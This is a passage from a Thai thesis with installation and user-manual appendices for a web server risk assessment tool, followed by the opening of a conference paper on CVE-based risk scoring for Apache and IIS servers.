รูปที่ ฉ.2 หนาจอเริ่มการติดตั้งโปรแกรม 

ใหผูใชงานเลือก  เพื่อทําการติดตั้ง จากนั้นจะเขาสูหนาจอให

ผูใชงานยืนยันการติดตั้งโปรแกรมประเมินความเสี่ยงดังรูปที่ ฉ.3 

 

 
รูปที่ ฉ.3 หนาจอยืนยนัการติดตั้งโปรแกรม 
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ใหผูใชงานเลือก  เพื่อทําการติดตั้งโปรแกรม หรือเลือก 

 เพื่อยกเลิกการติดตั้ง จากนั้นระบบจะทําการติดตั้งโปรแกรม โดยเมื่อการติดตั้ง

เสร็จสมบูรณแลวจะปรากฎหนาจอใหเพิ่มคาโปรแกรมในรีจิสทรีดังรูปที่ ฉ.4 

 

 
รูปที่ ฉ.4 แสดงการเพิ่มคาโปรแกรมในรีจิสทรี 

ใหผูใชงานเลือก  เพื่อเพิ่มคาในรีจิสทรีซึ่งหากไมเพิ่มคาจะไม

สามารถใชงานโปรแกรมได รูปที่ ฉ.5 แสดงการเพิ่มคาในรีจิสทรีเสร็จสมบูรณ 

 

 
รูปที่ ฉ.5 แสดงการเพิ่มคาในรีจิสทรีเสร็จสมบูรณ 

เมื่อเพิ่มคาในรีจิสทรีเสร็จสมบูรณแลวระบบจะทําการติดตั้ง จาวารันไทม ดังรูปที่ 

ฉ.6 แสดงหนาจอใหทําการติดตั้งจาวารันไทม ทั้งนี้หากเครื่องที่ทําการติดตั้งมีการติดตั้ง จาวารัน

ไทม ไวแลวสามารถยกเลิกการติดตั้งในสวนนี้ได แตผูพัฒนาแนะนําใหทําการติดตั้งใหมเพื่อการ

ทํางานที่ถูกตองของโปรแกรม 
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รูปที่ ฉ.6 หนาจอการติดตั้งโปรแกรม จาวา รันไทม 

จากรูปที่ ฉ.6 ใหเลือก “I accept the terms in the license agreement” จากนั้น

กด  จะปรากฎหนาจอใหเลือกประเภทการติดตั้ง ดังรูปที่ ฉ.7 

 

 
รูปที่ ฉ.7 หนาจอใหเลือกประเภทการติดตั้ง 
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ใหผูใชงานเลอืก “Custom” แลวกด  เพื่อทําการติดตั้งตอ 

 

 
รูปที่ ฉ.8 หนาจอใหเลือกคณุลักษณะการติดตั้ง 

รูปที่ ฉ.8 เปนหนาจอใหเลือกคุณลักษณะการติดตั้ง ใหผูใชงานเลือกติดตั้ง แบบ

“Additional Font and Media Support” บนเครื่องดวย จากนั้นกด  จะปรากฎ

หนาจอใหผูใชงานเลือกวาจะติดตั้ง จาวา รันไทมกับโปรแกรมเบราวเซอรดวยหรือไม ดังรูปที่ ฉ.9 

ในสวนนี้ไมมีความจําเปนกับโปรแกรมที่จะใชงาน  จึงเลือกติดตั้งหรือไมก็ได จากนั้นกด  

 อีกครั้ง 

 
รูปที่ ฉ.9 หนาจอติดตั้ง จาวา รันไทมเขากบัเบราวเซอร 
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รูปที่ ฉ.10 หนาจอแสดงสถานะการติดตั้ง จาวา รันไทม 

รูปที่ ฉ.10 แสดงสถานะการติดตั้งจาวารันไทม และเมื่อการติดตั้ง จาวารันไทม 

เสร็จสมบูรณแลวจะปรากฎหนาจอดังรูปที่ ฉ.11 ใหผูใชงานกด    เปนการเสร็จ

ส้ินการติดตั้งโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอร 

 

 
รูปที่ ฉ.11 หนาจอแสดงการติดตั้ง จาวารนัไทม เสร็จสมบูรณ 
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รูปที่ ฉ.12 หนาจอแสดงการติดตั้งโปรแกรมเสร็จสมบูรณ 

รูปที่ ฉ.12 แสดงการติดตั้งโปรแกรมเสร็จสมบูรณใหเลอืก  เพื่อ

ทําการบูทเครือ่งใหมและสามารถเริ่มใชโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรได 

 

ฉ.2.2 ระบบปฏิบัติการวนิโดวสรุน 98 หรือ เอ็มอี 

ขั้นตอนการติดตั้งโปรแกรมบนระบบปฏิบัติการวินโดวสรุน 98 หรือ เอ็มอี 

เหมือนกับการติดตั้งโปรแกรมบนระบบปฏิบัติการวินโดวสรุน เอ็กซพี จะตางกันเพียงการเริ่มตนคือ

จะเรียกแฟมขอมูล Setup9x.exe จากแหลงขอมูลดังรูปที่ ฉ.13 

 

 
รูปที่ ฉ.13 การเริ่มตนติดตั้งโปรแกรมบนระบบปฏิบัติการวินโดวสรุน 98 หรือ เอ็มอี 



 

ภาคผนวก ช 
 

คูมือการใชงานโปรแกรม 

ในสวนนี้จะกลาวถึงวิธีการใชงานโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอร

โดยจะแบงการทํางานเปนฟงกชันการทํางานตางๆ เพื่อใหงายตอการอธิบายดังตอไปนี้ 

1. การประเมนิความเสีย่งของเว็บเซิรฟเวอร 
2. การเปลี่ยนรหสัผาน 

3. การจัดการจุดบกพรอง 
4. การจัดการระดับผลกระทบ 

5. การจัดการขอมูลรายการตรวจสอบ 

6. การจัดการกลุมโฮสต 
7. การจัดการขอมูลโฮสตที่ใชเกบ็คาความนาจะเปน 

8. การเก็บคาความนาจะเปน 

9. การคํานวณคาความนาจะเปนและคาความเสี่ยง 

ทั้งนี้รายละเอียดการใชงานในแตละฟงกชันจะอธิบายเปนสวนๆ ตอไป โดย

ผูใชงานสามารถเรียกใชงานโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรไดโดยเมนู START 

>>All Progarms>> http>>http ดังรูปที่ ช.1 

 
รูปที่ ช.1 แสดงเมนูการเขาสูโปรแกรม 
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จากนั้นจะปรากฎหนาจอถามชื่อผูใชงานและรหัสผานดังรูปที่ ช.2 ใหผูใชงานระบุ

ชื่อผูใชงาน “Administrator” และรหัสผาน “developer” จากนัน้กด   เพื่อทาํงานตอ

หรือกด  เพื่อออกจากระบบ 

 

 
รูปที่ ช.2 หนาจอการเขาสูระบบ 

หากชื่อผูใชงานและรหัสผานถูกตองจะเขาสูหนาจอหลักตอไป แตถาหากชื่อ

ผูใชงานหรือรหัสผานไมถูกตองจะปรากฎหนาจอดังรูปที่ ช.3 หรือ ช.4 

 

 
รูปที่ ช.3 หนาจอแสดงชื่อผูใชงานไมถูกตอง 

 

 

รูปที่ ช.4 หนาจอแสดงรหัสผานไมถกูตอง 
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หนาจอหลกัของโปรแกรมสามารถแบงได 4 สวน ดังรูปที ่ช.5 คือ 

- สวนขอมูลโฮสตประกอบดวย ชื่อ หรือหมายเลขไอพีของโฮสตที่จะทําการ

ตรวจสอบ และหมายเลขพอรตที่จะทําการตรวจสอบ 

- สวนคาความนาจะเปน ประกอบดวยชื่อตารางความนาจะเปนที่จะใชในการ

ตรวจสอบ ปุม  และ  ซึ่งวิธีการใชงานจะอธิบายตอไปในสวน

ของการประเมินความเสี่ยงของเว็บเซิรฟเวอร 

- สวนการตรวจสอบ ประกอบดวยเงื่อนไขที่กําลังตรวจสอบ และจุดบกพรองที่

ตรวจสอบพบ 

- สวนควบคุมประกอบดวยปุม   ปุม   และปุม 

 ซึ่งวิธีการใชงานจะอธิบายตอไป 

 

 
รูปที่ ช.5 แสดงหนาจอหลักของโปรแกรม 

 

 

สวนขอมูลโฮสต 

สวนคาความนาจะเปน 

สวนตรวจสอบ 

สวนควบคุม 
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ช.1 การประเมินความเสี่ยงของเวบ็เซิรฟเวอร 

ในการประเมินความเสี่ยงนั้นใหผูใชงานเขาสูหนาจอหลักของโปรแกรมดังรูปที่  

ช.5 จากนั้นใหระบุชื่อโฮสตหรือหมายเลขไอพี และหมายเลขพอรตของโฮสตที่ตองการจะประเมิน

ความเสี่ยง เมื่อระบุแลวใหเลือกคาความนาจะเปนที่จะใชในการประเมินความเสี่ยง ทั้งนี้คาความ

นาจะเปนดังกลาวใชในการเปรียบเทียบโฮสตที่ตองการตรวจสอบกับโฮสตอ่ืนๆ ดวย โดยผูใชงาน

สามารถเรียดดูคาความนาจะเปนไดโดยเลือกที่ “คาของทุกโฮสต” หรือ “คาตามกลุมโฮสต” และ

เลือกตารางตามวันเวลาที่ระบุ เชน D_25_M_6_Y_2547_T_11_1 หมายถึงคาความนาจะเปนที่

คํานวณเม่ือวันที่  25 เดือน  6 ป  2547 เวลา  11 นาฬิกา  1 นาที  เปนตน  จากนั้นกดปุม 

 ระบบจะแสดงคาความจะเปนของแตละจุดบกพรองดังรูปที่ ช.6 

 

 
รูปที่ ช.6 ตัวอยางหนาจอแสดงคาความนาจะเปน 

เมื่อระบุคาตางๆ สมบูรณแลวใหกดปุม  เพื่อเร่ิมทาํการประเมิน

ความเสีย่งของเว็บเซิรฟเวอรโดยเมื่อเร่ิมประเมินความเสี่ยงหนาจอจะเปลี่ยนไปดงัรูปที่ ช.7 
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รูปที่ ช.7 หนาจอแสดงการเริม่ประเมินความเสี่ยง 

โดยเมื่อทําการประเมินความเสี่ยงของเว็บเซิรฟเวอรเสร็จสมบูรณดังรูปที่ ช.8 แลว 

ผูใชงานสามารถออกรายงานไดโดยกดที่ปุม  โปรแกรมจะทําการสรางรายงานให

โดยรายงานจะจัดเก็บไวในไดเรกทอรีที่จัดเก็บโปรแกรม (C:\Program Files\http) ซึ่งรายงานที่

สรางจะมีชื่อแฟมคือ ชื่อหรือหมายเลขไอพีของโฮสตที่ทําการตรวจสอบ ดังรูปที่ ช.9 

 
รูปที่ ช.8 หนาจอแสดงการประเมินความเสี่ยงเสร็จสมบูรณ 
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รูปที่ ช.9 ตัวอยางรายงานการประเมินความเสี่ยง 

ช.2 การเปลีย่นรหสัผาน 

ผูใชงานสามารถเปลี่ยนรหัสผานไดโดยการเขาเมนู แฟมขอมูล >>จัดการขอมูล

ผูใชงานระบบ >>เปลี่ยนรหัสผาน ดังรูปที่ ช.10 

 

 
รูปที่ ช.10 การเขาเมนูเปลีย่นรหัสผาน 

จากนั้นจะปรากฎหนาจอเปลี่ยนรหัสผานขึ้นดังรูปที่ ช.11 ใหผูใชงานระบุ

รหัสผานเดิม รหัสผานใหมและยืนยันรหัสผานใหมใหถูกตอง จากนั้นกด  เพื่อทําการ

เปลี่ยนรหัสผาน 
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รูปที่ ช.11 หนาจอเปลี่ยนรหสัผาน 

หากผูใชงานระบุรหัสผานเดิมหรือ รหัสผานใหมหรือ ยืนยันรหัสผานใหมไม

ถูกตองจะปรากฎหนาจอแสดงความผิดพลาดดังรูปที่ ช12 – ช.13 

 

 
รูปที่ ช.12 หนาจอแสดงรหัสผานเดิมไมถูกตอง 

 

 
รูปที่ ช.13 หนาจอแสดงการยืนยนัรหัสผานใหมไมถูกตอง 

หากการเปลี่ยนรหัสผานสมบูรณจะแสดงขอความ “การเปลี่ยนรหัสผานเสร็จ

สมบูรณ” ดังรูปที่ ช.14 

 

 
รูปที่ ช.14 หนาจอแสดงการเปลี่ยนรหัสผานเสร็จสมบูรณ 
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ช.3 การจัดการจุดบกพรอง 

ผูใชงานสามารถเรียกดูรายการจุดบกพรองที่มีอยูในโปรแกรมไดโดยเลือกเมนู 

แฟมขอมูล >> จัดการจุดบกพรอง >> แสดงรายการจุดบกพรอง ดังรูปที่ ช.15 

 
รูปที่ ช.15 เมนูแสดงรายการจุดบกพรอง 

จะปรากฎหนาจอแสดงรายการจุดบกพรองทัง้หมดดังรูปที่ ช.16 

 
รูปที่ ช.16 หนาจอแสดงรายการจุดบกพรอง 

การเพิม่ แกไข และลบรายการจุดบกพรองสามารถทําไดโดยเลือกเมนู แฟมขอมูล 

>> จัดการจุดบกพรอง >> จัดการขอมูลรายการจุดบกพรอง ดงัรูปที่ ช. 17 

 
รูปที่ ช.17 เมนูจัดการขอมลูจุดบกพรอง 
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รูปที่ ช.18 หนาจอจัดการขอมูลรายการจุดบกพรอง 

หนาจอจัดการขอมูลรายการจุดบกพรองดงัรูปที่ ช.18 เปนหนาจอที่ใชในการ เพิ่ม 

แกไข และลบรายการจุดบกพรอง โดยมีวธิีการดังนี ้

ช.3.1 การเพิ่มจุดบกพรอง 

สามารถทําไดโดยการเพิ่มขอมูลในชองตางๆไดแก หมายเลขจุดบกพรอง 

รายละเอียดจุดบกพรอง ขอแนะนําการแกไข ระดับผลกระทบตอการรักษาความลับ ระดับ

ผลกระทบตอการบูรณภาพ และระดับผลกระทบตอสภาพพรอมใชงาน จากนั้นกดปุม  

ช.3.2 การแกไขจุดบกพรอง 

สามารถทําไดโดยเลือกรายการจุดบกพรองที่ตองการคนหาหรือระบุหมายเลข

จุดบกพรองแลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหผูใชงานทําการแกไขขอมูลแลว

กดปุม  ระบบจะทําการปรับปรุงขอมูลให 

ช.3.3 การลบจุดบกพรอง 

ทําไดโดยเลือกรายการจุดบกพรองที่ตองการคนหาหรือระบุหมายเลขจุดบกพรอง

แลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหกดปุม  ระบบจะทําการลบขอมูล

จุดบกพรองนั้นออกจากฐานขอมูล 
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ช.4 การจัดการระดับผลกระทบ 

ผูใชงานสามารถเรียกดูรายการระดับผลกระทบที่มีอยูในโปรแกรมไดโดยเลือก

เมนู แฟมขอมูล >> จัดการระดับผลกระทบ>> แสดงระดับผลกระทบ ดังรูปที่ ช.19 

 

 
รูปที่ ช.19 เมนูแสดงระดับผลกระทบ 

จะปรากฎหนาจอแสดงรายการผลกระทบทั้งหมดดังรูปที่ ช.20 

 

 
รูปที่ ช.20 หนาจอแสดงรายการระดับผลกระทบ 

การเพิม่ แกไข และลบรายการระดบัผลกระทบสามารถทําไดโดยเลือกเมนู 

แฟมขอมูล >> จัดการระดับผลกระทบ >> จัดการขอมูลระดับผลกระทบ ดังรูปที่ ช.21 

 

 
รูปที่ ช.21 เมนูจัดการขอมลูระดับผลกระทบ 
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รูปที่ ช.22 หนาจอจัดการขอมูลระดับผลกระทบ 

หนาจอจัดการขอมูลระดับผลกระทบดังรูปที่ ช.22 เปนหนาจอที่ใชในการ เพิ่ม 

แกไข และลบรายการระดับผลกระทบ โดยมีวิธีการดังนี้ 

ช.4.1 การเพิ่มระดับผลกระทบ 

สามารถทําไดโดยการเพิ่มขอมูลในชองตางๆ ไดแก ระดับผลกระทบ และ

รายละเอียด จากนั้นกดปุม  

ช.4.2 การแกไขระดับผลกระทบ 

สามารถทําไดโดยเลือกรายการระดับผลกระทบที่ตองการคนหาหรือระบุ

หมายเลขระดับผลกระทบแลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหผูใชงานทําการ

แกไขขอมูลแลวกดปุม  ระบบจะทําการปรับปรุงขอมูล 

ช.4.3 การลบระดับผลกระทบ 

ทําไดโดยเลือกรายการระดับผลกระทบที่ตองการคนหาหรือระบุหมายเลขระดับ

ผลกระทบแลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหกดปุม  ระบบจะทําการ

ลบระดับผลกระทบนั้น 
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ช.5 จัดการขอมูลรายการตรวจสอบ 

ผูใชงานสามารถเรียกดูรายการตรวจสอบที่มีอยูในโปรแกรมไดโดยเลือกเมนู 

แฟมขอมูล >> รายการตรวจสอบ>> แสดงรายการตรวจสอบ ดังรูปที่ ช.23 

 
รูปที่ ช.23 เมนูแสดงรายการตรวจสอบ 

จะปรากฎหนาจอแสดงรายการตรวจสอบทั้งหมดดังรูปที่ ช.24 

 
รูปที่ ช.24 หนาจอแสดงรายการตรวจสอบ 

การเพิ่ม แกไขและลบรายการตรวจสอบสามารถทําไดโดยเลือกเมนู แฟมขอมูล 

>>รายการตรวจสอบ>> จัดการขอมูลรายการตรวจสอบ ดังรูป ช.25 

 

 
รูปที่ ช.25 เมนูจัดการขอมลูรายการตรวจสอบ 
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รูปที่ ช.26 หนาจอจัดการขอมูลรายการตรวจสอบ 

หนาจอจัดการขอมูลรายการตรวจสอบดังรูปที่ ช.26 เปนหนาจอที่ใชในการ เพิ่ม 

แกไข และลบรายการตรวจสอบ โดยมีวิธีการดังนี้ 

ช.5.1 การเพิ่มรายการตรวจสอบ 

สามารถทําไดโดยการเพิ่มขอมูลในชองตางๆไดแก คําสั่งที่ใช หมายเลข

จุดบกพรอง และรายการตรวจสอบ จากนั้นกดปุม  

ช.5.2 การแกไขรายการตรวจสอบ 

สามารถทําไดโดยเลือกรายการตรวจสอบที่ตองการคนหาหรือระบุลําดับที่

รายการตรวจสอบแลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหผูใชงานทําการแกไขขอมูล

แลวกดปุม  ระบบจะทําการปรับปรุงขอมูลให 

ช.5.3 การลบรายการตรวจสอบ 

ทําไดโดยเลือกรายการตรวจสอบที่ตองการคนหาหรือระบุลําดับที่รายการ

ตรวจสอบแลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหกดปุม  ระบบจะทําการ

ลบรายการตรวจสอบนั้น 
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ช.6 จัดการขอมูลกลุมโฮสต 

ผูใชงานสามารถเรียกดูรายการกลุมโฮสตที่มีอยูในโปรแกรมไดโดยเลือกเมนู เก็บ

ขอมูล >> จัดการกลุมโฮสต>> แสดงกลุมของโฮสต ดังรูปที่ ช.27 

 

 

รูปที่ ช.27 เมนูแสดงรายการกลุมโฮสต 

จะปรากฎหนาจอแสดงกลุมโฮสตทัง้หมดดังรูปที่ ช.28 

 

 
รูปที่ ช.28 หนาจอแสดงรายการกลุมโฮสต 

การเพิม่ แกไขและลบรายการกลุมโฮสตสามารถทําไดโดยเลือกเมน ู เก็บขอมูล 

>>จัดการกลุมโฮสต>> จัดการขอมูลกลุมของโฮสต ดงัรูปที ่ช.29 

 

 

รูปที่ ช.29 เมนูจัดการขอมลูรายการกลุมโฮสต 

 



 157 

 
รูปที่ ช.30 หนาจอจัดการขอมูลรายการกลุมโฮสต 

หนาจอจัดการขอมูลรายการกลุมโฮสตดังรูปที่ ช.30 เปนหนาจอที่ใชในการ เพิ่ม 

ลบ และแกไขรายการกลุมโฮสต โดยมีวิธีการดังนี้ 

ช.6.1 การเพิ่มรายการกลุมโฮสต 

สามารถทําไดโดยการเพิ่มขอมูลในชองตางๆไดแก ชื่อกลุมโฮสต และรายละเอียด

กลุมโฮสต จากนัน้กดปุม  

ช.6.2 การแกไขรายการกลุมโฮสต 

สามารถทําไดโดยเลือกรายการกลุมโฮสตที่ตองการคนหาหรือระบุหมายเลขกลุม

โฮสต  แลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหผูใชงานทําการแกไขขอมูลแลวกดปุม 

 ระบบจะทําการปรับปรุงขอมูล 

ช.6.3 การลบรายการกลุมโฮสต 

ทําไดโดยเลือกรายการกลุมโฮสตที่ตองการคนหาหรือระบุหมายเลขกลุมโฮสต

แลวกดปุม  เพื่อดูขอมูลเดิมกอน จากนั้นใหกดปุม  ระบบจะทําการลบรายการ

กลุมโฮสตนั้น 
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ช.7 จัดการขอมูลโฮสตทีใ่ชเก็บคาความนาจะเปน 

ผูใชงานสามารถเรียกดูรายการโฮสตที่มีอยูในโปรแกรมไดโดยเลือกเมนู           

เก็บขอมูล>> จัดการโฮสตที่ใชเก็บคาความนาจะเปน>> แสดงโฮสตที่ใชเก็บคาความนาจะเปน 

ดังรูปที่ ช.31 

 
รูปที่ ช.31 เมนูแสดงโฮสตทีใ่ชเก็บคาความนาจะเปน 

จะปรากฎหนาจอแสดงโฮสตที่ใชเก็บคาความนาจะเปน ทัง้หมดดังรูปที่ ช.32 

 

 
รูปที่ ช.32 หนาจอแสดงโฮสตที่ใชในการเก็บคาความนาจะเปน 

การเพิม่ แกไข และลบรายการโฮสตที่ใชเกบ็คาความนาจะเปน สามารถทําไดโดย

เลือกเมนู เก็บขอมูล>>จดัการโฮสตที่ใชเก็บคาความนาจะเปน>>จัดการขอมูลโฮสตที่ใชเก็บคา

ความนาจะเปน ดังรูปที่ ช.33 

 
รูปที่ ช.33 เมนูจัดการขอมลูโฮสตที่ใชเกบ็คาความนาจะเปน 
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รูปที่ ช.34 หนาจอจัดการโฮสตที่ใชเก็บคาความนาจะเปน 

หนาจอจัดการขอมูลโฮสตที่ใชเก็บคาความนาจะเปนดังรูปที่ ช.34 เปนหนาจอที่

ใชในการ เพิ่ม แกไขและลบรายการโฮสตที่ใชเก็บคาความนาจะเปน โดยมีวิธีการดังนี้ 

ช.7.1 การเพิ่มรายการโฮสตที่ใชเก็บคาความนาจะเปน 

สามารถทําไดโดยการเพิ่มขอมลูในชองตางๆไดแก ชื่อโฮสต หมายเลขพอรตและ

กลุมโฮสต จากนัน้กดปุม  

ช.7.2 การแกไขรายการโฮสตที่ใชเก็บคาความนาจะเปน 

สามารถทําไดโดยเลือกโฮสตที่ตองการคนหาหรือระบุหมายเลขโฮสต  แลวกดปุม 

 เพื่อดูขอมูลเดิมกอน จากนั้นใหผูใชงานทําการแกไขขอมูลแลวกดปุม  ระบบ

จะทําการปรับปรุงขอมูล 

ช.7.3 การลบรายการโฮสตที่ใชเก็บคาความนาจะเปน 

ทําไดโดยเลือกโฮสตที่ตองการคนหาหรือระบุหมายเลขโฮสตแลวกดปุม 

 เพื่อดูขอมูลเดิมกอน จากนั้นใหกดปุม  ระบบจะทําการลบรายการโฮสตนั้น 
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ช.8 การเก็บคาความนาจะเปน 

สามารถเก็บคาความนาจะเปนเพื่อใชเปนขอมูลในการคาํนวณคาความนาจะเปน

และคาความเสี่ยงโดย เลือกเมนู เก็บขอมลู >>เก็บคาความนาจะเปน ดังรูปที ่ช.35 

 
รูปที่ ช.35 เมนูเก็บคาความนาจะเปน 

จะปรากฎหนาจอ เก็บคาความนาจะเปน ดังรูปที ่ช.36 

 

 
รูปที่ ช.36 หนาจอเก็บคาความนาจะเปน 

 

ผูใชงานสามารถเลือกเก็บคาความนาจะเปนจากกลุมโฮสตไดโดยเลือกรายการ

กลุมโฮสตที่ คอมโบบลอก ดังรูปที่ ช.37 
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รูปที่ ช.37 การเลือกโฮสตทีจ่ะเก็บขอมูลเปนกลุม 

จากนั้นกดปุม  เพื่อเร่ิมทําการเก็บขอมูลเพื่อใชคํานวณคาความ

นาจะเปนตอไป 

 

ช.9 คํานวณคาความนาจะเปนและคาความเสี่ยง 

สามารถคํานวณคาความนาจะเปนและคาความเสี่ยงเพื่อใชเปนขอมูลในการ

ประเมินความเสี่ยงไดโดยเลือกเมนู เก็บขอมูล >> คํานวณคาความนาจะเปนและคาความเสี่ยง 

ดังรูปที่ ช.38 

 

 
รูปที่ ช.38 เมนูคํานวณคาความนาจะเปนและคาความเสี่ยง 

จะปรากฎหนาจอคํานวณคาความนาจะเปนและคาความเสี่ยงดังรูปที่ ช.39 ให

ผูใชงานเลือกวาจะคํานวณคาจากทุกโฮสต หรือเปนกลุมโฮสต จากนั้นใหระบุชวงเวลาเริ่มตนและ

ส้ินสุดของขอมูลที่จะใชในการคํานวณและกดปุม  

 



 162 

 
รูปที่ ช.39 หนาจอคํานวณคาความนาจะเปนและคาความเสี่ยง 



 

 
ภาคผนวก ซ 

ผลงานวิจัยที่ไดรับการเผยแพร 
 
 
 
 
 
 
 
 
 

ซ.1 ผลงานวิจัยที่นําเสนอในงาน 
The 8th National Computer Science and Engineering Conference 

(NCSEC 2004) 
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Abstract 
 

This research proposes  a method for web server 
risk assessment based on CVE (Common 
Vulnerability and Exposure). The main idea of this 
research is to classified the loss type of each 
vulnerability in to confidentiality integrity and 
availability. The impact of each type to the system 
is also presented. The developed tool is mainly 
used the mechanism of HTTP (Hypertext Transfer 
Protocol) for sending requests and receiving 
responses to assess web server vulnerability. The 
collected information is calculated to provide the 
web server error risk. 

 
Key-Words: web server, risk assessment, risk, 
vulnerability analysis 

 

บทคัดยอ 
 

งานวิจัยช้ินนี้ไดนําเสนอวิธีการประเมินความเสี่ยงของ
เว็บเซิรฟเวอรโดยใชจุดบกพรอง (Vulnerability)  ซีวีอี 
(Common Vulnerability and Exposure : CVE) [7] ที่
เกี่ยวของกับเว็บเซิรฟเวอรเปนพ้ืนฐานในการประเมิน 
และไดนําเสนอการกําหนดระดับผลกระทบใหแตละ
จุดบกพรองจําแนกตามประเภทของผลกระทบคือ      
การรักษาความลับ (Confidentiality) การบูรณภาพ 
(Integrity) และสภาพพรอมใชงาน (Availability) โดย
ผู วิจัยใชหลักการทํางานของโปรโตคอลเอชทีทีพี 
(Hypertext Transfer Protocol : HTTP) ในการพัฒนา
เครื่องมือเพื่อรองขอและรับผลการตอบสนองขอมูล ใน
การตรวจสอบจุดบกพรองของเว็บเซิรฟเวอรเพื่อนําผลที่
ไดจากการตรวจสอบมาคํานวณคาความเสี่ยงในการ
ทํางานผิดพลาดของเว็บเซิรฟเวอร ซึ่งอาศัยคาความนา
เปนในการที่จะตรวจพบจุดบกพรองใดๆ ในการประเมิน
ความเสี่ยง 

 
1. บทนํา 
เว็บเซิรฟเวอร (Web Server) เปนองคประกอบหลักที่

จําเปนตอการใหบริการเว็บเพจบนเครือขายอินเทอรเน็ต 
แตทั้งนี้เว็บเซิรฟเวอรอาจมีจุดบกพรองทั้งที่เกิดจากการ
ความผิดพลาดของเว็บเซิรฟเวอรเอง หรือความผิดพลาด
ที่เกิดจากโปรแกรมประยุกตที่ทํางานบนเว็บเซิรฟเวอร 
โดยจุดบกพรองตางๆ สงผลกระทบตอความมั่นคงของ
ระบบมากนอยแตกตางกัน หนวยงานตางๆ จึงไดพัฒนา
เครื่องมือเพื่อใชการตรวจสอบจุดบกพรองของเว็บ
เซิรฟเวอรขึ้นเชน N-Stealth [1] หรือ NetCat [2]  เปนตน 
ทั้งนี้เครื่องมือดังกลาวยังขาดคุณสมบัติในการประเมิน
ความเสี่ยงจึงไมสามารถทราบไดวาเว็บเซิรฟเวอรใดมี
ความเสี่ยงในการทํางานผิดพลาดมากนอยแตกตางกัน
เพียงใด โดยงานวิจัย [3] ไดนําเสนอวิธีการประเมินความ
เสี่ยง 2 วิธีคือการตรวจสอบจุดบกพรอง และการ
ตรวจสอบการ รั กษ าคว ามปลอดภั ย ขอ ง ระบบ 
(Safeguard) นอกจากนี้งานวิจัย [4] ยังไดนําเสนอวิธีการ
ตรวจสอบการรักษาความปลอดภัยของระบบในการ
ประเมินความเสี่ยงระบบเครือขาย (Analysis of 
Networked System Security Risks : ANSSR)  แตทั้งนี้
วิธีการดังกลาวถึงแมจะทําใหทราบวาระบบมีความเสี่ยง
ในการถูกบุกรุกมากนอยเพียงใดก็ตาม แตมีขอเสียคือไม
สามารถทราบจุดบกพรองของระบบสงผลใหผูดูแล
ระบบไมสามารถแกไขจุดบกพรองไดถูกตอง 
ผูวิจัยจึงไดการออกแบบวิธีการเพื่อใชในการประเมิน

ความเสี่ยงของเว็บเซิรฟเวอร โดยใชการรองขอขอมูล
เอชทีทีพีในการตรวจสอบจุดบกพรองของเว็บเซิรฟเวอร 
สวนวิธีการในการคํานวณคาความเสี่ยงนั้นไดใชแนวคิด
ในการประเมินความเสี่ยงที่นิยมใชกันทั่วไป [5] ซึ่ง
ประกอบดวยคาผลกระทบของความเสียหายที่เกิดขึ้น 
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และคาความนาจะเปนในการเกิดความเสียหายนั้น ซึ่ง
ผูวิจัยไดพัฒนาวิธีการในการกําหนดระดับผลกระทบที่
เกิดขึ้นตามแนวคิดวิธีการใหคะแนนคาถวงน้ําหนัก 
(Weighted Scores) [3] โดยไดเพิ่มวิธีจําแนกผลกระทบที่
เกิดขึ้นตามประเภทของความเสียหายซึ่งประกอบดวย 
การรักษาความลับ  การบูรณภาพ และสภาพพรอมใช
งาน  จากนั้นคํ านวณค าความน า เปนของการ เกิด
จุดบกพรองจากเว็บเซิรฟเวอรตางๆ เพื่อใชเปนคาความ
นาจะเปนพื้นฐานในการประเมินความเสี่ยง  ทั้ งนี้
จุดบกพรองที่ใชในงานวิจัยน้ีไดแกจุดบกพรองซีวีอี [7] 
โดยเลือกเฉพาะจุดบกพรองของอาปาเช (Apache) และ
ไอไอเอส (Internet Information Service : IIS) เว็บ
เซิรฟเวอร เนื่องจากเว็บเซิรฟเวอรทั้ งสองเปนเว็บ
เซิรฟเวอรที่ไดรับความนิยมมากที่สุดตามลําดับ [8] เมื่อ
ไดจุดบกพรองดังกลาวแลวจึงกําหนดรายการรองขอ
ขอมูลเอชทีทีพีเพื่อใชในการตรวจสอบแตละจุดบกพรอง 
โดยแตละจุดบกพรองอาจมีจํานวนรายการรองขอขอมูล
แตกตางกันไป 
บทความนี้ประกอบดวยสวนของทฤษฎีที่ใชในการ

ประเมินความเสี่ยง การทํางานของโปรโตคอลเอชทีทีพี
ที่ใชในการรองขอขอมูลไปยังเว็บเซิรฟเวอร สวนของ
การประเมินความเสี่ยงเว็บเซิรฟเวอรที่ผูวิจัยนําเสนอ 
และสถาปตยกรรมของเครื่องมือที่ใชในการประเมิน
ความเสี่ยงที่พัฒนาขึ้น 
 

2.  การประเมินความเสี่ยง [5] 
การประเมินความเสี่ยงชวยใหไดขอมูลในการ

คาดการณความผิดพลาดที่ อ าจ เกิ ดขึ้ นไดอย า งมี
ประสิทธิภาพมีองคประกอบ 3 ประการไดแก ผลกระทบ
ของความเสี่ยง ความนาจะเปนในการเกิดปญหา และ
ความสามารถในการควบคุม ทั้งนี้ความสามารถในการ
ควบคุมความเสี่ยงที่เกิดขึ้นมีผลทําใหผลกระทบที่มีตอ
ระบบแตกตางกันไป ซึ่งขั้นตอนในการประเมินความ
เสี่ยงมีดังตอไปนี้ 

- การกําหนดสิ่งที่จะประเมิน (Identify Assets) 
คือการกําหนดสิ่งที่จะทําการปองกันรักษาความปลอดภัย 

- ก า ร กํ า ห น ด จุ ด บ ก พ ร อ ง  (Determine 
Vulnerabilities)  คือการคาดการณจุดบกพรองของ
ทรัพยากรในระบบ โดยใชการรักษาความลับ การบูรณ
ภาพ และสภาพพรอมใชงาน ในการคนหาจุดบกพรอง 

- การประเมินโอกาสที่จะเกิดจุดบกพรองนั้น 
(Estimate Likelihood of Exploitation) 

- ก า รคํ า น วณค า ค ว าม เ สี ยห า ย  (Compute 
